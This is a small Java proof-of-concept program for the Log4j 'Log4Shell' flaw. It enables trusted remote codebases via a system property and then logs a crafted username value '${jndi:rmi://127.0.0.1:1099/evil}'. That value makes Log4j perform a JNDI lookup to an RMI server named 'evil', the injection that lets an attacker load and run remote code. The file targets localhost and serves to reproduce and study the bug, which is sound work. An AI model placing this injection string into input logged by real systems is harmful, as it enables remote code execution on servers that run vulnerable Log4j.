package com.cjx.myself.poc.log4j;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.NamingException;

public class Main {
    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//        InitialContext initialContext = new InitialContext();
//        initialContext.lookup("rmi://127.0.0.1:1099/evil");
        // String username = "${java:vm}";
        String username = "${jndi:rmi://127.0.0.1:1099/evil}";

        LOGGER.error("hello, {}", username);
    }
}
